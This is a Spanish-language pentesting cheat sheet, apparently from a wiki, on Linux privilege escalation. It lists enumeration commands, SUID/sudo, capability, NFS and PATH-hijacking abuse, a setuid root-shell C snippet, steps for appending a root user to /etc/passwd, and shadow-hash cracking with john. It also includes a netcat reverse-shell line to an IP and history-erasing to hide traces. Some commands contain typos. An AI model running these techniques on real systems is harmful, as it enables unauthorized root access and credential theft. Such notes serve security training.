Linux

Enumeración básica

*** ls -la a la raiz del sistema siempre ***
id # privilegios usuario actual (lxd o docker)
uname -a # información kernel
su - <user> # no perder las variables
lsb_release -a # enumerar info del S.O
env # para ver las variables del sistema
ss -tulpn # ver puertos/servicios internos que hay abiertos
netstat -a # muestra todos los puertos que estan en escucha y conectados
ps aux # procesos ejecutandose en el sistema de manera ordenada
cat /etc/login.defs | grep “ENCRYPT_METHOD” # ver que tipo de encriptación se utiliza en el sistema en los hashes de las passwords
hash-indentifier # para ver que tipo de encryptacion tiene el hash
hashid <hash>
ps -eo user,command # reporta todos los comandos que se están ejecutando en el sistema
watch -d 'ps -ef # Procesos a tiempo real como pspy64
#shell
python3 -c 'import ptpy;pty.spawn("/bin/bash")'
python -c 'import ptpy;pty.spawn("/bin/bash")'
ps aux --sort="-%mem" |more # procesos ejecutanose
curl "http://192.168.1.2/login.php" --data-urlencode 'username=admin&password=pass123' # Enviar datos url encodeados 
php -r 'print urlencode("nc -e /bin/sh 192.168.218.147 5344");' ;echo # Encodear datos
a2query -m # ver modulos/funciones activados de apache
unset HISTFILE # antes de escalar priv, para no dejar huella de comandos

Abusando de grupos

Comprobar rutas importantes

# Rutas core
/etc/passwd | cut ":" -f 1
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/home/<user>/
/home/<user>/.ssh
/home/<user>/bash_history
# Comprobar que haya subdominios
/etc/nginx/sites-available
/etc/apache2/sites-available

Enumeración automatizada

LinPeas: https://github.com/carlospolop/PEASS-ng
Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
LinEnum: https://github.com/rebootuser/LinEnum

Abuso permisos sudo

sudo -l # comprobar que el usuario actual tiene capacidad de ejecutar un binario como root

Si nos encontramos con env_keep+=LD_PRELOAD en el sudo -l podríamos hacer que cualquier programa utilice librerías compartidas, para saber como explotarlo accede a este link

Abuso permisos SUID

find / -perm -4000 2>/dev/null # enumerar privilegios SUID
find / -perm -4000 2>/dev/null | grep “etc” # enumerar por archivos que estenexi en la ruta /etc/
find / -perm -4000 -o- -perm -2000 -o- -perm -6000 # enumerar grupos

Encontrar carpetas/archivos que podemos escribir

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u # directorios
find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev' # archivos

Enumerar tareas en proceso (cronjob)

cat /etc/crontab o crontab -l
cat /var/spool/cron # para las cronjobs del sistema
cat /etc/anacron
systemctl list-timers # ver tareas que se van a ejecutar en los proximos minutos

Monitorizador comandos script bash

#!/bin/bash
old_process=$(ps -eo user,command)
while true; do
        new_process=$(ps -eo user,command)
        diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon|command|kworker"
        old_process=$new_process
done

Abuso Capabilites

getcap -r / 2>/dev/null # de forma recursiva ver las capabilities que hayan definidas en el sistema
setcap -r <ruta> # quitar capabilty
setcap cap_setuid+ep <ruta del archivo> # asignar SUID permisios a la ruta

Bypass restricted bash

ssh user@ip bash # y después realizamos el tratamiento de la TTY
ssh user@ip 'bash --norc --noprofile'

NFS

NFS (Network File System) es un protocolo de red utilizado para compartir sistemas de archivos entre computadoras. En el contexto de la escalada de privilegios en Linux, NFS puede ser utilizado como una técnica para obtener acceso a archivos o directorios que no son accesibles por defecto para un usuario sin privilegios.

Y se encuentra en este archivo:

/etc/exports

El elemento crítico para este vector de escalada de privilegios es la opción "no_root_squash" que puede ver arriba. De forma predeterminada, NFS cambiará el usuario raíz a nfsnobody y eliminará cualquier archivo para que no funcione con privilegios de raíz. Si la opción "no_root_squash" está presente en un recurso compartido grabable, podemos crear un ejecutable con el conjunto de bits SUID y ejecutarlo en el sistema de destino.

Primero tenemos que enumerar los recursos compartidos montables de la máquina victima:

Montaremos un recurso compartido "no_root_squash" en nuestra máquina local

Creamos un script con C con una /bin/bash y que nos de root cuando se ejecute en la victima

int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}

Lo compilamos y le damos permisos SUID

No hace falta transferirlos por qué ya está en la máquina victima ya que hemos estado trabajando en ella mediante un recurso compartido.

Lo ejecutamos y somos root

Kernel exploits

uname -a
lsb_release -a

Consejos

Se muy especifico a la hora de buscar la version del kernel en exploitdb,google o searchsploit.
Entiende muy bien el exploit antes de ejecutarlo, a veces se tienen que modificar.
Puede que el script se tenga que interactuar en el futuro así que cuidado.
Para traspasar el exploit a la máquina victima, como siempre la carpeta /tmp y en tu máquina abres un servidor python3 -m http.server 9000

Si creemos que puede que el sistema comprometido es vulnerable de kernel, como un script que no sea de ese mismo kernel lo ejecutemos en el sistema puede romperlo.

Para asegurarnos tenemos LES (Linux Exploit Suggester) que nos ayudará a saber cual es el CVE correcto para ejecutar.

Analizar archivos

ltrace <archivo> # se utiliza para rastrear las llamadas a funciones bibliotecarias que hace un programa en tiempo de ejecución.
strings <archivo> #  busca en un archivo binario (como un archivo ejecutable o una biblioteca compartida)

Path Hijacking

Si nos encontramos un binario con SUID podemos hacer un path hijacking, pero como se hace?

Primero hay que entender que es un $PATH, cuando hacemos echo $PATH sale lo siguiente:

Cuando nosotros ejecutamos un comando como curl, lo busca en el $PATH, primero va a ir /usr/local/sbin y si no encuentra ahí el curl va al --> /usr/local/bin y si tampoco va al --> /usr/sbin y así sucesivamente. Por eso por ejemplo si ejecutamos "auqdqoy" nos sata un error, porque en ninguna de las rutas encuentra ese comando

La cosa viene aquí, nosotros podemos modificar el path temporalmente, y de aquí viene el path hijacking, ponemos la ruta que queremos al principio del $PATH para así engañar al sistema, también el problema es que el binario donde llamamos a curl, ese comando lo hace de forma relativa y no absoluta, para que no se pueda hacer un path hijacking basta con que a la hora de programar se ponga la ruta abosluta, a continuación veremos un ejemplo de lo que es una ruta absoluta y relativa:

Ejemplo de absoluta y relativa

Absoluta --> /usr/bin/curl
Relativa --> curl

Ejemplo Path Hijacking

Hay un binario llamado statuscheck que tiene permisos SUID

Lo ejecutamos y vemos que lo que hace por detrás es hacer un curl -I http://localhostes decir que pide la cabecera del local host.

Una vez sabido esto, ¿Cómo podemos saber que ejecuta por detrás el binario?
1. Fácil, con un comando que se llama strings, podemos analizar el binario.
2. Aquí vemos que haciendo strings <binario> vemos que ejecuta curl -I http://localhost por detrás.
Sabiendo esto, vamos a hacer el path hijacking.
Creamos en la carpeta /tmp un archivo que se llame igual que curl y le ponemos que nos ejecute una shell con privilegios (parámetro -p) y le damos permisos de ejecución con chmod +x <archivo> por que sino no funcionará.

Modificamos el $PATH temporalmente con la siguiente comanda

Si ahora miramos el $PATH veremos como al principio de todo saldrá /tmp

Lo siguiente sería ejecutar el binario y en principio nos dará una shell como root, y habremos escalado privilegios.

Añadir un usuario al /etc/passwd

Este comando generará un hash en formato md5 para un usuario en especifico y le añade salt para que sea incrackeable.

openssl passwd -1 -salt <usuario> <contraseña>

Parámetro

Descripción

-1

Utiliza el algoritmo de hash MD5.

-5

Utiliza el algoritmo de hash SHA256.

-6

Utiliza el algoritmo de hash SHA512.

-salt

Permite especificar una cadena de sal para el usuario.

-in

Especifica un archivo de entrada para el que se desea generar un hash de contraseña.

-stdin

Lee la contraseña de la entrada estándar en lugar de solicitarla al usuario.

-noverify

No verifica la contraseña al crear el hash.

-help

Muestra una lista de opciones disponibles para el comando.

Vamos al /etc/passwd y añadimos al final de la linea lo siguiente

root:passoword:0:0/root/bin/bash

Crackear passwords de /etc/passwd - /etc/shadow

Si fuera el caso de que tenemos permisos de lectura y escritura al /etc/passwd y al /etc/shadow una vez comprometido, y queremos saber las passwords de los demás usuarios, tendriamos que hacer el siguiente proceso

Poner en un archivo .txt el shadow y passwd
Una vez hecho hacer unshadow passwd.txt shadow.txt > cracked.txt
Utilizar john con usuario generado cracked.txt y crackear los hashes que hayamos obtenido.

john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt cracked.txt

PreviousBuffer Overflow NextAbusando grupo pcap

Last updated 3 months ago